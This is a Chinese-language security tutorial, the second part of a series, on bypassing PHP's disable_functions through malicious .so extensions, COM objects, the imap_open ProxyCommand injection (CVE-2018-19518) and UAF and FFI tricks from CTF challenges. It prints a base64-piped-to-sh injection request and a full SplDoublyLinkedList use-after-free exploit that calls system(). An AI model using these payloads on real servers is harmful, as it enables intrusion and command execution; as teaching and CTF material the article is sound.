您的位置 首页 php

php中函数禁用绕过的原理与利用(下)

本文首发于“合天网安实验室”作者: HhhM

加载so扩展

前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。

so文件可以从项目中获取,根据其提示编译即可获取ant.so的库,修改php-fpm的php.ini,加入:

 extension=/var/www/html/ant.so  

然后重启php-fpm,如果使用如下:

68dad284e1ae4791bde1dd22f4f5ce08

成功执行命令时即说明扩展成功加载,那么我们再把ini恢复为先前的样子,我们尝试直接攻击php-fpm来修改其配置项。

以脚本来攻击:

724cacaf65454fafb4d67352d87a9452

6bfadebf96414e57ae8a7fb00e45f49a

fcdcf9b5434b4ad5b84aa34da2e9bd17

89754cd8156d480db9f61a8b2a579f7b

c63f67292bcc4b1790b2d7ac66b8b0c7

a3454ab66a744136b07ab7389f595cf4

227a32419fd8489c914992bf7d6d01e3

c1f1d4a3ffab4f1c92cc6c22b84e9a84

d3f7c3692e654f798eeed9bb25edc24e

4b13ef43b49a4ccfbb3192070fb3035c

f1f380cb65f14807885de89483895881

1f678f8a2ebc4c128228c00bb1e2a64f

65ca6c2de6b347608f18c5ff2356b929

0a04b61a47be46cebfb4ac645a6d2556

7194b0145d2a417590bb9362f57410a6

通过修改其内的code即可,效果如下:

a9b061be05014a1d8a7eac99b62e4185

漏洞利用成功。

com组件

原理&利用

需要目标机器满足下列三个条件:

  • com.allow_dcom = true
  • extension=php_com_dotnet.dll
  • php>5.4

此时com组件开启,我们能够在phpinfo中看到:

a048d6b998114625b4a391d322d08b0c

要知道原理还是直接从exp看起:

f56ccd044d954fbbb1e88e498bdc3ba0

首先,以 new COM(‘WScript.shell’) 来生成一个com对象,里面的参数也可以为 Shell.Application (笔者的win10下测试失败)。

然后这个com对象中存在着exec可以用来执行命令,而后续的方法则是将命令输出,该方式的利用还是较为简单的,就不多讲了。

imap_open

该bypass方式为CVE-2018-19518

原理

imap扩展用于在PHP中执行邮件收发操作,而imap_open是一个imap扩展的函数,在使用时通常以如下形式:

 $imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);  

那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认使用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过 -oProxyCommand= 来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是php解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的bypass disable function了。

那么我们可以先在ubuntu上试验一下:

 ssh -oProxyCommand="ls>test" 192.168.2.1  

f74365b97fea48beb54e34d76cff541d

环境的话vulhub上有,其中给出了poc:

 POST / HTTP/1.1Host: your-ipAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 125hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222  

我们可以发现其中使用了%09来绕过空格,以base64的形式来执行我们的命令,那么我这里再验证一下:

 hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222//ls>test  

会发现成功写入了一个test,漏洞利用成功,那么接下来就是各种肆意妄为了。

三种UAF

EXP在:

三种uaf分别是:

  • Json Serializer UAF
  • GC UAF
  • Backtrace UAF

关于uaf的利用因为涉及到二进制相关的知识,而笔者是个web狗,因此暂时只会用exp打打,因此这里就不多说,就暂时先稍微提一下三种uaf的利用版本及其概述//其实我就是照搬了exp里面的说明,读者可以看exp作者的说明就行了。

Json Serializer UAF

漏洞出现的版本在于:

  • 7.1 – all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

漏洞利用json在序列化中的堆溢出触发bypass,漏洞为bug #77843

GC UAF

漏洞出现的版本在于:

  • 7.0 – all versions to date
  • 7.1 – all versions to date
  • 7.2 – all versions to date
  • 7.3 – all versions to date

漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出达成bypass,漏洞为:bug #72530

Backtrace UAF

漏洞出现的版本在于:

  • 7.0 – all versions to date
  • 7.1 – all versions to date
  • 7.2 – all versions to date
  • 7.3 < 7.3.15 (released 20 Feb 2020)
  • 7.4 < 7.4.3 (released 20 Feb 2020)

漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047

利用

利用的话exp或者蚁剑上都有利用插件了,这里不多讲,可以上ctfhub测试。

SplDoublyLinkedList UAF

概述

这个UAF是在先知上看到的,引用原文来概述:

exp

exp同样出自原文。

php部分:

 <?phperror_reporting(0);$a = str_repeat("T", 120 * 1024 * 1024);function i2s(&$a, $p, $i, $x = 8) {    for($j = 0;$j < $x;$j++) {        $a[$p + $j] = chr($i & 0xff);        $i >>= 8;    }}function s2i($s) {    $result = 0;    for ($x = 0;$x < strlen($s);$x++) {        $result <<= 8;        $result |= ord($s[$x]);    }    return $result;}function leak(&$a, $address) {    global $s;    i2s($a, 0x00, $address - 0x10);    return strlen($s -> current());}function getPHPChunk($maps) {    $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';    preg_match_all($pattern, $maps, $match);    foreach ($match[1] as $value) {        list($start, $end) = explode("-", $value);        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";            return $address;        }    }}function bomb1(&$a) {    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {        return (s2i($_GET["test1"]) & 0x7ffff0000000);    }else {        die("[!]Where is here");    }}function bomb2(&$a) {    $start = s2i($_GET["test2"]);    return getElement($a, array($start, $start + 0x200000, 0x200000));    die("[!]Not Found");}function getElement(&$a, $address) {    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;        for ($y = 0;$y < 5;$y++) {            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";                return $addr + $y * 0x08 - 0x18;            }        }    }}function getClosureChunk(&$a, $address) {    do {        $address = leak($a, $address);    }while(leak($a, $address) !== 0x00);    echo "[+]Closure Chunk: " . dechex($address) . "\n";    return $address;}function getSystem(&$a, $address) {    $start = $address & 0xffffffffffff0000;    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;    for($i = 0; $i < 0x1000 * 0x80; $i++) {        $addr = $start - $i * 0x20;        if ($addr < $lowestAddr) {            break;        }        $nameAddr = leak($a, $addr);        if ($nameAddr > $address || $nameAddr < $lowestAddr) {            continue;        }        $name = dechex(leak($a, $nameAddr));        $name = str_pad($name, 16, "0", STR_PAD_LEFT);        $name = strrev(hex2bin($name));        $name = explode("\x00", $name)[0];        if($name === "system") {            return leak($a, $addr + 0x08);        }    }}class Trigger {    function __destruct() {        global $s;        unset($s[0]);        $a = str_shuffle(str_repeat("T", 0xf));        i2s($a, 0x00, 0x1234567812345678);        i2s($a, 0x08, 0x04, 7);        $s -> current();        $s -> next();        if ($s -> current() !== 0x1234567812345678) {             die("[!]UAF Failed");        }        $maps = file_get_contents("/proc/self/maps");        if (!$maps) {            cantRead($a);        }else {            canRead($maps, $a);        }        echo "[+]Done";    }}function bypass($elementAddress, &$a) {    global $s;    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {        die("[!]Get Closure Chunk Address Failed");    }    $closure_object = leak($a, $closureChunkAddress + 0x18);    echo "[+]Closure Object: " . dechex($closure_object) . "\n";    $closure_handlers = leak($a, $closure_object + 0x18);    echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";    if(!($system_address = getSystem($a, $closure_handlers))) {        die("[!]Couldn't determine system address");    }    echo "[+]Find system's handler: " . dechex($system_address) . "\n";    i2s($a, 0x08, 0x506, 7);    for ($i = 0;$i < (0x130 / 0x08);$i++) {        $data = leak($a, $closure_object + 0x08 * $i);        i2s($a, 0x00, $closure_object + 0x30);        i2s($s -> current(), 0x08 * $i + 0x100, $data);    }    i2s($a, 0x00, $closure_object + 0x30);    i2s($s -> current(), 0x20, $system_address);    i2s($a, 0x00, $closure_object);    i2s($a, 0x08, 0x108, 7);    echo "[+]Executing command: \n";    ($s -> current())("php -v");}function canRead($maps, &$a) {    global $s;    if (!$chunkAddress = getPHPChunk($maps)) {        die("[!]Get PHP Chunk Address Failed");    }    i2s($a, 0x08, 0x06, 7);    if (!$elementAddress = getElement($a, $chunkAddress)) {        die("[!]Get SplDoublyLinkedList Element Address Failed");    }    bypass($elementAddress, $a);}function cantRead(&$a) {    global $s;    i2s($a, 0x08, 0x06, 7);    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {        die("[!]Please try to get address of PHP Chunk");    }    if (isset($_GET["test1"])) {        die(dechex(bomb1($a)));    }    if (isset($_GET["test2"])) {        $elementAddress = bomb2($a);    }    if (!$elementAddress) {        die("[!]Get SplDoublyLinkedList Element Address Failed");    }    bypass($elementAddress, $a);}$s = new SplDoublyLinkedList();$s -> push(new Trigger());$s -> push("Twings");$s -> push(function($x){});for ($x = 0;$x < 0x100;$x++) {    $s -> push(0x1234567812345678);}$s -> rewind();unset($s[0]);  

python部分:

44c7dc3161744cf5bb81510da438497f

8cd047fa1ac545d5ae13cd203c30c910

82da4398c4a14c51bd0d662726a928c3

ffi扩展

ffi扩展笔者初见于TCTF/0CTF 2020中的easyphp,当时是因为非预期解拿到flag发现了ffi三个字母才了解到php7.4中多了ffi这种东西。

原理

PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。

也即是说我们可以通过ffi来调用c语言的函数从而绕过disable的限制,我们可以简单使用一个示例来体会一下:

934ddba88cc34339aa73ff8bb224f1db

输出如下:

4fee7b70a53e4f46a0c7c19b9955e61c

那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。

首先是cdef:

415fc1a5d1ed47a3b80304b1c72e67cc

这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式:

16a4dde5d5c5480cba12102f2a2ab83d

可以看看其函数原型:

5181fa76fa474fb887d2de9a14e51764

取得了ffi对象后我们就可以直接调用函数了:

dd1565176b3843a1bb1f663fc82f8ef8

之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。

利用

以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录:

dabfeedc390840eea74b4aa12ab79432

可以发现根目录存在着flag.h跟so:

273e3f86d83e46a1808d30b1aa33bc4a

因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。

发现了flag.h之后查看ffi相关文档能够发现一个load方法可以加载头文件。

于是有了如下:

517f12af69e84a0296043814896e4105

但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下:

fbc436879fde42fbb7a3cf9d0147d4ba

我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp:

8f11317e25a845b5ba87c9f44e24eaa7

04b7c1974c44451091d95a0a0ace3285

8e761c679917474282b7523060a46f64

获取到函数名后直接调用函数然后把结果打印出来即可:

37eb5fa4e88e459885806b29ef76f1f3

文章来源:智云一二三科技

文章标题:php中函数禁用绕过的原理与利用(下)

文章地址:https://www.zhihuclub.com/31203.shtml

关于作者: 智云科技

热门文章

网站地图